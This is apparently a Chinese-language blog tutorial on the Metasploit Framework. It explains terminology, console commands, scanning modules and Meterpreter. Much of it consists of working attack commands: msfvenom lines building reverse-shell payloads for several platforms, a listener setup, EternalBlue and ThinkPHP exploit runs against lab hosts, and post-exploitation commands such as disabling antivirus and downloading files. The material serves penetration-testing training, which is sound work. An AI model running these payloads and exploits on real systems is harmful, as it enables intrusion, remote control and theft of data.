01.Metasploit渗透框架
本文最后更新于517 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、常见名词解释

  • POC: Proof of Concept,概念证明,用来证明漏洞存在的一段代码,没有攻击性
  • EXP : Exploit,利用,利用系统漏洞进行攻击的动作、方式、方法,具有攻击性
  • Payload:有效载荷,指 Exploit 执行成功之后,真正在系统进行执行的代码或者指令
  • Shellcode:一段 16 进制的机器码,用于在漏洞利用过程中与攻击者建立交互式 shell 连接。可以是正向连接(连接到攻击者)或反向连接(从攻击者处接收指令)
  • Client:客户端,与服务端进行通信的程序或设备
  • Team Server:服务端, C2 服务器, Beacon Payload 的控制器
  • Beacon:是 Cobalt Strike 工具运行在目标主机上的 payload,用于隐蔽地与Team Server 通信并接受指令,实现长期控制。
  • C2: Command & Control Server,命令与控制服务器,是攻击者用来远程控制目标系统的服务器

二、MSF 简介

Metasploit Framework (MSF) 是一款全球领先的开源渗透测试工具,专为安全研究人员和专业人士设 计,用于评估系统的安全性。它提供了一个高度模块化和可扩展的平台,用于发现、开发和执行漏洞 利用。

  • 模块化设计:MSF 由多个模块(Module)组成,包括漏洞利用模块、payload 生成器、攻击向量和后渗透模块。
  • 开源:作为开源工具,MSF 拥有活跃的社区支持,不断有新的漏洞利用和功能被添加。
  • 跨平台支持:MSF支持多种操作系统和架构,包括 Windows、Linux、macOS 等。
  • 持续更新:MSF 团队和社区成员持续更新数据库,确保包含最新的漏洞信息和利用技术。
  • 漏洞利用:集成了大量已知漏洞的利用代码,覆盖了各种软件和系统的安全漏洞。
  • Payload 定制:用户可以根据需要定制 payload,执行特定的后渗透活动,如数据收集、系统控制 等。
  • 自动化测试:MSF 提供自动化测试功能,可以快速评估目标系统的脆弱性。
  • 后渗透活动:在成功利用漏洞后,MSF 可以进行进一步的后渗透操作,如提升权限、横向移动等。

三、MSF 框架结构

Kali-metasploit 框架目录结构

名称 描述
app 包含与Metasploit框架相关的应用程序代码或配 置。
config 包含Metasploit框架的配置文件,用于设置工具的运行参数。
data 存储Metasploit框架所需的数据文件,包括但不限于漏洞利用数据、密码列表、图像和其他二进制文件。
documentation 包含Metasploit框架的官方文档和用户指南。
lib 存放Metasploit 框架的核心库文件,包括Ruby 类和模块。
plugins 存放Metasploit 框架的插件,用于扩展框架的功能。
scripts 存放Metasploit框架使用的脚本,包括 用 Meterpreter脚本和其他自动化脚本。
tools 存放命令行实用程序,用于辅助渗透测试和安全分析。
modules 存储Metasploit框架的模块文件,包括漏洞利用、payload、编码器等。
msfconsole Metasploit 框架的命令行界面(CLl)启动脚本。
msfdb 用于启动Metasploit 数据库的脚本。
msfupdate 用于更新Metasploit框架的脚本。
msfvenom 用于生成payload的Metasploit工具。

四、MSF 启动命令行界面

1.msfconsole 介绍

msfconsole是Metasploit 框架的命令行用户接口,它提供了一个交互式的环境,允许用户访问和操作Metasploit框架中的所有模块。

2.msfconsole 启动

msfconsole

Pasted image 20250117100931.png

五、MSF 命令查询

1.命令帮助菜单

进入 msfconsole 后执行命令

help

2.核心命令

Core Commands
=============

Command           Description
-------           -----------
?                 帮助菜单
banner            显示Metasploit banner信息
cd                更改当前工作目录
color             切换颜色
connect           与主机通信
debug             显示对调试有用的信息
exit              退出控制台
features          显示可以选择加入的尚未发布的功能列表
get               获取特定变量的值
getg              获取全局变量的值
grep              筛选以一条命令的输出
help              帮助菜单
history           显示命令历史记录
load              加载框架插件
quit              退出控制台
repeat            重复一个命令列表
route             通过一个session会话路由流量
save              保存活动的数据存储
sessions          导出会话列表并显示会话信息
set               将一个特定环境的变量设置为一个值
setg              将一个全局变量设置为一个值
sleep             在指定的秒数内不执行任何操作
spool             将控制台输出写入文件以及屏幕
threads           查看和操作后台线程
tips              显示有用的提示清单
unload            卸载框架插件 
unset             取消设置的一个或多个变量
unsetg            取消设置一个或多个全局变量
version           显示框架和控制台库版本号

3.模块命令

Module Commands
===============

Command           Description
-------           -----------
advanced          显示一个或多个模块的高级选项
back              从当前环境返回
clearm            清除模块堆栈
favorite          将模块添加到最喜欢的模块列表中
info              显示一个或多个模块的详细信息
listm             列表中的模块栈
loadpath          从路径中搜索并加载模块
options           显示一个或多个模块全局选项
popm              将最新的模块从堆栈中弹出并使其处于活动状态
previous          将之前加载的模块设置为当前模块
pushm             将活动模块或模块列表推送到模块堆栈
reload_all        重新加载所有模块
search            搜索模块名称和描述
show              显示给定类型的的模块或所有模块
use               通过名称或搜索词/索引选择使用模块

4.作业命令

Job Commands
============

Command           Description
-------           -----------
handler           启动一个payload处理程序作为job
jobs              显示和管理 jobs
kill              杀掉一个job
rename_job        重命名一个job

5.资源脚本命令

Resource Script Commands
========================

Command           Description
-------           -----------
makerc            将从开始输入的命令保存到文件中
resource          运行存储在文件中的命令

6.后端数据库命令

Database Backend Commands
=========================

Command           Description
-------           -----------
analyze           分析关于一个特定地址或地址范围的数据库信息
db_connect        连接到一个现有的数据服务
db_disconnect     与当前的数据服务断开连接
db_export         导出一个包含数据库内容的文件
db_import         导入扫描结果文件(文件类型将被自动检测)
db_nmap           执行nmap并自动记录输出
db_rebuild_cache  重建数据库存储的模块缓存(已废弃)
db_remove         删除已保存的数据服务条目
db_save           将当前的数据服务连接保存为默认,以便在启动时重新连接
db_status         显示当前的数据服务状态
hosts             列出数据库中的所有主机
loot              列出数据库中的所有战利品
notes             列出数据库中的所有笔记
services          列出数据库中的所有服务
vulns             列出数据库中的所有漏洞
workspace         在数据库工作空间之间切换

7.后端凭证命令

Credentials Backend Commands
============================

Command           Description
-------           -----------
creds             列出数据库中的所有凭证

8.开发者命令

Developer Commands
==================

Command           Description
-------           -----------
edit              用首选编辑器编辑当前模块或文件
irb               在当前环境下打开一个交互式Ruby shell
log               如果可能的话,将framework.log分页显示到最后。
pry               在当前模块或框架上打开 Pry 调试器
reload_lib        从指定路径重新加载Ruby库文件
time              运行一个特定命令所需的时间

9.DNS 命令

DNS Commands
============

Command           Description
-------           -----------
dns               管理Metasploit的DNS解析行为

10.辅助模块命令

Auxiliary Commands
==================

Command           Description
-------           -----------
check             检查目标是否易受攻击
exploit           这是run命令的别名
rcheck            重新加载模块并检查目标是否易受攻击
recheck           这是 rcheck 命令的别名
reload            重新加载辅助模块
rerun             重新加载并启动辅助模块
rexploit          这是 rerun 命令的别名
run               启动辅助模块

11.数据库管理命令

msfdb init             # 启动并初始化数据库
msfdb reinit           # 删除并重新初始化数据库
msfdb delete           # 删除并停止使用数据库
msfdb start            # 启动数据库
msfdb stop             # 停止数据库
msfdb status           # 检查服务状态
msfdb run              # 启动数据库并运行msfconsole

12.攻击载荷命令

check         检查一个目标是否易受攻击
generate      生成一个有效载荷
reload        从磁盘重新加载当前的模块
to_handler    用指定的有效载荷创建一个处理程序

13.常用命令

命令               描述
-------           -----------
show exploits     查看所有可用的利用模块
show auxiliary    查看所有可用的辅助模块
show options      查看模块可用选项
show advanced     查看模块高级选项
show payloads     查看模块适用的所有攻击载荷
show targets      查看模块适用的攻击目标类型
search            根据关键字搜索模块
info              显示模块的详细信息
use               使用模块
back              回退
set               设置模块参数
unset             取消设置的模块参数
setg              设置适用于所有模块的全局参数
unsetg            取消设置的适用于所有模块的全局参数

六、MSF 模块介绍

Metasploit 中有以下 7 种不同的模块类型,每种模块都有其特定的功能和应用场景:

模块类型 模块功能 模块应用
Auxiliary 辅助模块 执行辅助性任务,如端口扫描、密码破解、漏洞验证等,为渗透测试提供情报支持 网络服务枚举、漏洞扫描、数据提取, 以及拒绝服务攻击等
Exploits 漏洞利用模块 利用目标系统的安全漏洞执行攻击载荷以获得访问权限 远程和本地漏洞利用、权限提升、客户 端漏洞利用、Web应用程序漏洞利用等
Payloads 攻击载荷模块 在漏洞利用成功后,执行目标机器上的代码,如反弹shell或建立Meterpreter会话 建立交互式会话、,执行系统命令、下载和执行远程程序等
Post 后渗透阶段模块 在成功获取目标系统访问权限后, 执行进一步的渗透操作 凭证转储、权限提升、后门安装、 敏感数据提取、键盘记录等
Encoders 编码器模块 对攻击载荷进行编码或加密, 以规避入侵检测系统 使用base64、XOR 等编码技术, 混淆payload,提高渗透成功率
Evasion 躲避模块 生成能够规避安全防御措施的payload 防病毒软件规避、AppLocker 绕过、软件限制策略绕过等
Nop 空指令模 块 生成无害的”无操作”指令, 用于填充或稳定payload 在内存中滑动,避免因内存地址随机化等因素导致的payload执行失败

Metasploit 模块库
Metasploit Module Library – InfosecMatter

七、MSF 辅助模块

1.Auxiliary 模块介绍

  • 功能:执行辅助性任务,如端口扫描、密码破解、漏洞验证等,为渗透测试提供情报支持。
  • 应用:网络服务枚举、漏洞扫描、数据提取,以及拒绝服务攻击等。

2.MSF 主机发现

  • 模块路径:modules/auxiliary/scanner/discovery/
  • 搜索模块
search aux /scanner/discovery

Pasted image 20250117120516.png

arp_sweep:使用 ARP 请求枚举本地局域网中的所有活跃主机
udp_sweep:通过发送 UDP 数据包探查指定主机是否活跃,并发现主机上的 UDP 服务。

  • 模块使用
use auxiliary/scanner/discovery/arp_sweep
options
set RHOSTS 192.168.81.0/24
set THREADS 100
run

或者use + 索引 进行使用

use 0

Pasted image 20250120221114.png

使用模块:use 模块名
查看模块选项:options

模块选项
Name:模块选项名
Current Setting:当前选项设置的值
Required:必要选项,必须要设置值的选项
Description:选项描述

设置选项:set 选项名 选项值
运行模块:run

3.MSF 服务扫描

  • 服务扫描:确定开放端口后,对相应端口上所运行的服务信息进行挖掘
  • 模块搜索
    在 Metasploit 的 Scanner 辅助模块中,用于服务扫描和查点的工具常以如下形式命名:
    [service_name]_version:可用于遍历网络中包含了某种服务的主机,并进一步确定服务的版本
    [service_name]_login:可对某种服务进行口令探测攻击

查看所有可用的服务探测模块,可以在 MSF 终端中输入:

search scanner _version

Pasted image 20250120225315.png

查看所有服务登录口令探测模块,可以在 MSF 终端中输入:

search scanner _login

Pasted image 20250120225554.png

1)SSH 服务扫描

  1. 搜索模块
search scanner/ssh

Pasted image 20250120230001.png

# SSH登录检查扫描
auxiliary/scanner/ssh/ssh_login

# SSH版本扫描
auxiliary/scanner/ssh/ssh_version
  1. 使用 SSH 版本扫描模块
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 10.34.126.129
set THREADS 100
run

Pasted image 20250122102426.png

2)SMB 服务扫描

  1. 搜索模块
search scanner/smb
  1. 使用 SMB 服务版本扫描模块
use auxiliary/scanner/smb/smb_version
options
set RHOST 192.168.60.220
run

3)Oracle 数据库扫描

search scanner/oracle

4)MSSQL 服务扫描

search scanner/mssql

5)FTP 扫描

search scanner/ftp

6)SMTP 扫描

search scanner/smtp

7)SNMP 扫描

search scanner/snmp

4.MSF 端口扫描

模块路径: modules/auxiliary/scanner/portscan/
模块搜索

search scanner/portscan
auxiliary/scanner/protscan/tcp
# 通过一次完整的TCP连接来判断端口是否开放 最准确但是最慢

auxiliary/scanner/protscan/ack
# 通过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测

auxiliary/scanner/protscan/syn
# 使用发送TCP SYN标志的方式探测开放端口

auxiliary/scanner/protscan/ftpbounce
#  通过FTP bounce攻击的原理对TCP服务进行枚举,一些新的FTP服务器软件能很好的防范此攻击,但在旧的系统上仍可以被利用

auxiliary/scanner/protscan/xmas
# 一种更为隐秘的扫描方式,通过发送FIN,PSH,URG标志,能够躲避一些高级的TCP标记检测器的过滤

一般情况下推荐使用syn端口扫描器,速度较快,结果准确,不易被对方察觉

use auxiliary/scanner/portscan/syn
set RHOSTS 192.168.81.111
set THREADS 100
run

八、MSF 攻击载荷模块

1.Payloads 模块介绍

  • 模块路径:/usr/share/metasploit-framework/modules/payloads/
  • payload:又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的
  • 功能:在漏洞利用成功后,执行目标机器上的代码,如反弹 shell 或建立 Meterpreter 会话。
  • 应用:建立交互式会话、执行系统命令、下载和执行远程程序等。

2.Payload 类型

1)Singles

  • Singles:独立载荷
  • 定义:独立载荷是单一功能的代码片段,能够在目标系统上独立执行,无需进一步的网络连接或分阶段加载。
  • 示例:shell_bind_tcp,一个在目标系统上创建一个TCP绑定shell的payload。

2)stagers

  • Stagers:传输器载荷
  • 定义:传输器载荷用于在目标系统和攻击者之间建立初步的网络连接,通常体积小,便于注入。
  • 类型:
    Bind 型:攻击者需要主动连接目标系统上的端口。
    Reverse 型:目标系统反向连接到攻击者指定的IP地址和端口。

3)Stages

  • Stages:传输体载荷
  • 定义:传输体载荷在传输器载荷的稳定连接建立后被传输到目标系统,用于执行更复杂的操作或提供更高级的控制。
  • 示例:shell或meterpreter,在连接建立后提供对目标系统的高级控制。
  • Meterpreter:是一个高级、可交互的payload,运行在内存中,通常不留文件痕迹,难以被检测。

4)Stageless Payload

  • Stageless Payload:不分阶段的payload
  • 定义:是一个包含所有必需组件的单一二进制文件,体积较大,但无需额外的下载或连接步骤即可执行。
  • 示例:<platform>/<arch>/<single>
  • 特点:例如,Stageless Meterpreter,它将Meterpreter的所有功能直接编译在木马中。

5)Staged Payload

  • Staged Payload:分阶段的payload
  • 定义:首先通过一个小的传输器载荷(stager)建立连接,然后下载并执行更复杂的传输体载荷 (stage)。
  • 示例:<platform>/<arch>/<stage>/<stager>
  • 特点:例如,Staged Meterpreter,它首先建立网络连接,然后下载并加载Meterpreter或其他高 级payload。
Payload 类 型 Staged 分阶段Payload 示例 Stageless 不分阶段 Payload 示例
Reverse TCP windows/meterpreter/reverse_tcp windows/meterpreter_reverse_tcp
Reverse HTTPS windows/meterpreter/reverse_https windows/meterpreter_reverse_https
Bind TCP windows/meterpreter/bind_tcp windows/meterpreter_bind_tcp
Reverse TCP IPv6 windows/meterpreter/reverse_ipv6_tcp windows/meterpreter_reverse_ipv6_tcp

3.Payload 生成

1)msfvenom 简介

  • Msfvenom 是 Metasploit 框架的一个独立有效负载(Payload)生成器。
  • 它用于创建定制化的后门程序,这些程序可以在目标系统上执行并允许攻击者建立连接和控制。
  • Msfvenom 提供了丰富的选项,允许用户根据目标环境和需求定制payload。

2)msfvenom 选项

Options:
    -l,  --list       <type>            列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, archs, encrypt, formats, all
    -p, --payload     <payload>         指定使用的payload(攻击载荷)。使用自定义的payload,使用`-`或者stdin指定
        --list-options                  列出 payload 的标准, 高级和规避选项

    -f, --format      <format>            指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
    -e, --encoder     <encoder>           指定需要使用的encoder(编码器)
        --sec-name    <value>           生成大型Windows二进制文件时要使用的新节名。默认值:随机4字节alpha字符串
        --smallest                      使用所有可用的编码器生成最小的有效负载
        --encrypt     <value>           适用于shellcode的加密或编码类型(使用 --list encrypt 列出)
        --encrypt-key <value>           用于--encrypt的密钥
        --encrypt-iv  <value>           --encrypt的初始化向量
    -a, --arch        <architecture>     用于--payload和--encoders的体系结构(使用 --list archs 列出)
        --platform    <platform>         指定payload使用的平台(使用--list platform列出)
    -o, --out         <path>            保存payload
    -b, --bad-chars   <list>              设定规避字符集,比如: '\x00\xff'
    -n, --nopsled     <length>            为payload预先指定一个NOP滑动长度
        --pad-nops                      将由-n指定的nopsled大小用作总有效负载大小,自动添加nopsled数量(nops减去payload长度)
    -s, --space       <length>            设定有效攻击荷载的最大长度
        --encoder-space <length>        编码的有效负载的最大大小(默认为-s value)
    -i, --iterations  <count>             指定payload的编码次数
    -c, --add-code    <path>              指定一个附加的win32 shellcode文件
    -x, --template    <path>              指定一个自定义的可执行文件作为模板
    -k, --keep                          保护模板程序的动作,注入的payload作为一个新的进程运行
    -v, --var-name    <name>            指定一个自定义的变量,以确定输出格式
    -t, --timeout     <second>          从STDIN读取有效负载时要等待的秒数(默认为30,0 为禁用)
    -h, --help                           查看帮助选项
        --help-formats                   查看msf支持的输出格式列表

3)msfvenom 生成 Payload

生成payload,有两个必须的选项:-p 、-f,使用 -p 来指定要使用的 payload,使用-f来指定payload的输出格式

(1)基本命令

  • 查看可用的 Payload 列表
msfvenom -l payloads

Pasted image 20250122153815.png

  • 查看支持的输出格式
msfvenom -l formats

Pasted image 20250122154307.png

  • 查看可用平台
msfvenom -l platforms

Pasted image 20250122154444.png

  • 查看可用的编码器
msfvenom -l encoders

Pasted image 20250122154630.png

  • 查看可用的系统架构
msfvenom -l archs

Pasted image 20250122154734.png

  • 查看可用加密格式
msfvenom -l encrypt

Pasted image 20250122154936.png

  • 查看可用 nops
msfvenom -l nops

Pasted image 20250122155202.png

(2)生成特定格式的 Payload

  • 生成可执行文件格式
# windows
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.81.111 LPORT=6666 -f exe -o win.exe

或者简写

# windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.34.126.129 LPORT=6666 -f exe -o win.exe

Pasted image 20250122170020.png

# linux
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.81.111 LPORT=6666 -f elf -o linux.elf

# macos
msfvenom -a x64 --platform osx -p osx/x64/meterpreter_reverse_tcp LHOST=192.168.81.111 LPORT=6666 -f macho -o macos.macho

msfvenom -a aarch64 --platform osx -p osx/aarch64/meterpreter_reverse_tcp LHOST=192.168.81.115 LPORT=6666 -f macho -o macos-arm.macho

# android
msfvenom --platform android -p android/meterpreter/reverse_tcp LHOST=192.168.81.111 LPORT=6666 -f raw -o android.apk
  • 生成 shellcode
# windows shellcode
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.34.126.129 LPORT=6666 -f c

Pasted image 20250122180657.png

# linux shellcode
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.81.111 LPORT=6666 -f c
  • 生成脚本格式
# php
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.81.111 LPORT=6666 -f raw -o shell.php

# jsp
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.81.111 LPORT=6666 -f raw -o shell.jsp

# war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.81.111 LPORT=6666 -f raw -o shell.war

# python
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.81.111 LPORT=6666 -f raw -o shell.py

# powershell
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=192.168.81.111 LPORT=6666 -f psh -o shell.ps1

4)msfvenom 生成 Payload 实例

(1)msfvenom 生成 windows 可执行程序

# windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.34.126.129 LPORT=6666 -f exe -o win.exe

(2)msfconsole 开启监听

注意:exp类型要与exe程序类型一样

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.34.126.129
set lport 6666
run

Pasted image 20250122171306.png

(3)在目标主机执行 win.exe

得到 Meterpreter交互式shell

Pasted image 20250122171006.png

如果不想退出会话可以用background指令,将session会话在后台执行

Pasted image 20250122174421.png

注意:此时监听器会自动退出,如果不想自动退出,使用如下命令

set exitonsession false

在开启后台监听时,就可以随时连接会话

Pasted image 20250122174817.png

九、MSF 漏洞利用模块

1.Exploits 模块介绍

  • 模块路径:/usr/share/metasploit-framework/modules/exploits
  • 功能:利用目标系统的安全漏洞,执行攻击载荷以获得访问权限。
  • 应用:远程和本地漏洞利用、权限提升、客户端漏洞利用、Web 应用程序漏洞利用等。

2.Windows – MS17-010

1)搜索漏洞利用模块

search ms17-010

Pasted image 20250122183448.png

use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.33.33
# 检测目标是否存在漏洞
check

# 运行攻击模块
run

Pasted image 20250122183811.png

3.Linux – Thinkphp-RCE

1)搜索漏洞利用模块

search thinkphp

2)使用漏洞利用模块

use exploit/unix/webapp/thinkphp_rce
set rhosts a4b18993c9b2.target.yijinglab.com
set rport 80
set lhost 124.71.45.28
set lport 6666
set ReverseListenerBindAddress 192.168.0.141

Pasted image 20250122223313.png

注意:

  1. 更改改rhosts,形式是域名
  2. 更改rport,端口是80
  3. 更改srvport,在本地的9999端口开启web服务用于目标主机下载payload
  4. 更改lhost
  5. 更改lport

运行漏洞利用模块

run

Pasted image 20250122222649.png

十、Meterpreter 扩展模块

1.Meterpreter 简介

Meterpreter 是 Metasploit Framework 中一个高级、多功能的交互式payload,通常用于在成功利 用漏洞后建立稳定的控制通道。与传统的命令行shell相比,Meterpreter 提供了更为丰富的功能和更高 的隐蔽性。

  • 动态性:Meterpreter 能够在内存中动态加载和执行扩展模块,无需在磁盘上留下痕迹。
  • 可扩展性:用户可以根据需要加载不同的扩展模块,以执行特定的任务。

2.Meterpreter 特点

  • 跨平台支持:Meterpreter 支持 Windows、Linux 等多种操作系统,以及 x86 和 x64 架构。
  • 纯内存运行:Meterpreter 主要运行在内存中,减少了被安全软件检测的可能性。
  • 语言无关性:除了原生支持的 Ruby 脚本扩展,Meterpreter 还支持基于 PHP 和 Java 的实现。

3.Meterpreter 功能

  • 系统控制:Meterpreter 提供了添加用户、提升权限、执行系统命令等功能。
  • 隐蔽操作:包括隐藏进程、规避安全检测等。
  • 数据访问:允许上传下载文件、访问注册表(仅限Windows)。
  • 信息收集:捕获屏幕、键盘记录、获取系统信息和网络配置。
  • 会话管理:支持会话持久化和多会话管理。

4.Meterpreter 常用 shell

1)reverse_tcp

  • reverse_tcp:基于 TCP 的反弹 Shell
  • 描述:反弹Shell意味着目标系统主动连接到攻击者的机器上。这种类型的Meterpreter Shell适用于大多数渗透测试场景。
  • 特点:稳定可靠,是渗透测试中最常用的Meterpreter Shell。
linux/x64/meterpreter/reverse_tcp

windows/x64/meterpreter/reverse_tcp

2)bind_tcp

  • bind_tcp:基于TCP的正向连接Shell
  • 描述:正向连接Shell要求攻击者的机器连接到目标系统上的特定端口。由于内网跨网段的限制,这种Shell在内网渗透中非常有用。
  • 特点:不需要设置LHOST(监听主机),适用于目标无法访问外部网络的场景。
linux/x64/meterpreter/bind_tcp

3)reverse_http

  • reverse_http:基于 http 方式的反向连接
  • 描述:使用HTTP协议建立反弹连接的Meterpreter Shell。由于HTTP的特性,它可能在网络条件较差时不稳定。
  • 特点:可以在某些具有严格网络过滤的环境下使用,但速度较慢时可能不稳定。
windows/meterpreter/reverse_http

4)reverse_https

  • reverse_https:基于HTTPS的反弹连接
  • 描述:使用HTTPS协议建立反弹连接的Meterpreter Shell,与reverse_http类似,但提供了加密的数据传输。
  • 特点:提供了比reverse_http更高的数据传输安全性,适用于需要加密通信的场景,但同样可能在网络条件较差时不稳定。
windows/meterpreter/reverse_https

5.Meterpreter 操作

background:将当前session挂起 
sessions -l:列出当前所有的session  
sessions -i id:进入某个session

常用命令

background #放回后台 
exit #关闭会话 
help #帮助信息 
sysinfo #系统平台信息 
screenshot #屏幕截取
shell #命令行shell (exit退出)  
getlwd #查看本地目录 
lcd #切换本地目录 
getwd #查看目录 
ls #查看文件目录列表
cd #切换目录
rm #删除文件
download C:\\1.txt 1.txt #下载文件
upload /var/www/wce.exe wce.exe #上传 文件
search -d c: -f *.doc #搜索文件
execute -f cmd.exe -i #执行程序/命令
ps #查看进程
getuid #查看当前用户权限
run killav #关闭杀毒软件
run getgui-e #启用远程桌面

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇